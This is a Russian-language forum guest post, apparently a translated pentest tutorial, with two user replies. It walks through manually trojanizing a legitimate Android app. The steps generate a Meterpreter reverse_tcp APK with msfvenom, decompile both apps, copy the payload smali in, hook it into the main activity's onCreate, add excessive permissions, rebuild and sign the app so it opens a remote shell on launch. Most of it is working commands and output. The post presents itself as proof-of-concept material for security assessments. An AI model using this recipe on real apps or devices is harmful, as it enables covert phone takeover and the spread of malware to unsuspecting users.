Гостевая статья Внедрение полезных нагрузок Metasploit в приложения для Android - вручную

Большинству приложений Android не хватает достаточной защиты вокруг двоичного файла, и поэтому злоумышленник может легко троянизировать легитимное приложение с вредоносными нагрузками. Это одна из причин того, что мобильное вредоносное ПО так быстро распространяется в телефонах Android.

При оценке безопасности мобильных устройств попытки троянизировать приложение в рамках данной области могут быть полезны в качестве доказательства концепции, демонстрирующей заказчику влияние на репутацию бизнеса, если его приложение можно использовать в злонамеренных целях.


Шаг 1 - Генерация полезной нагрузки
Metasploit MsfVenom может генерировать различные виды полезных нагрузок, и его можно использовать для создания APK-файла, который будет содержать полезную нагрузку Meterpreter.


Код:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
LPORT=4444 R > pentestlab.apk

No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8839 bytes

generate-apk-meterpreter-payload.png

Создание APK полезной нагрузки через Metasploit

Шаг 2 - декомпилировать APK
Прежде всего необходимо декомпилировать целевое приложение и созданный ранее pentestlab.apk. Это может быть достигнуто с использованием . Следующая команда декомпилирует код и сохраняет его в файлы .smali

Код:
java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
I: Using Apktool 2.2.2 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

decompiling-apks.png

Декомпиляция APK

Шаг 3 - Внедрение полезных файлов
Файлы полезной нагрузки из pentestlab.apk необходимо скопировать в папку smali, где находится весь код приложения. В частности, две папки:

Код:
/root/Downloads/payload/smali/com/metasploit/stage
/root/Downloads/original/smali/com/metasploit/stage

Шаг 4 - Внедрение тригера
Изучение файла манифеста Android приложения может помочь определить, какое основное действие запускается при открытии приложения. Это необходимо, потому что иначе полезная нагрузка не будет выполнена.

identification-of-main-activity.png

Определение основной деятельности

Следующая строка, которая находится внутри в файле Main Activity, должна быть заменена следующим кодом:
Код:
;->onCreate(Landroid/os/Bundle;)V

identification-of-code-to-be-replaced.png

Идентификация заменяемого кода

Следующая строка просто запустит полезную нагрузку metasploit вместе с существующим кодом при запуске действия.

Код:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

injecting-the-hook.png

Инжект тригера

Шаг 5 - Внедрение приложения с разрешениями
Чтобы сделать введенную полезную нагрузку более эффективной, в файл манифеста Android приложения можно добавить дополнительные разрешения, которые дадут больший контроль над телефоном, если пользователь их примет

injecting-the-apk-with-excessive-permissions.png

Добавление разрешений Android

Шаг 6 - Перекомпилируйте приложение
Теперь, когда полезные данные и разрешения добавлены, приложение готово к повторной компиляции в виде APK-файла.

Код:
java -jar apktool.jar b /root/Downloads/original/

building-the-injected-apk.png

Построение инъецированного APK

Шаг 7 - Подпись APK
Приложения не могут быть установлены на устройстве, если они не подписаны. Ключ отладки Android по умолчанию может быть использован:

Код:
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey

signing-the-apk.png

Подписание APK

С того момента, как приложение будет установлено и запущено на устройстве, откроется сеанс meterpreter.

meterpreter-via-injected-android-apk.png

Meterpreter с помощью встроенного Android APK

Перевод:
 
Последнее редактирование:

alexander_pro

New member
05.08.2020
1
0
BIT
0
Пробовал воспроизвести, но не получилось(( можете более подробно рассказать?
 

Artjkee

New member
02.10.2020
1
0
BIT
0
Да пипец, андроид 4.1... После создания апк, и подписи его, ни на виртуалке, ни на телефоне с АOS 9.0 не запустился (

Наверное нужно разбирать апк пртложение скачанное с маркета, внедрять полезную нагрузку и снова компилировать его в апк,
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!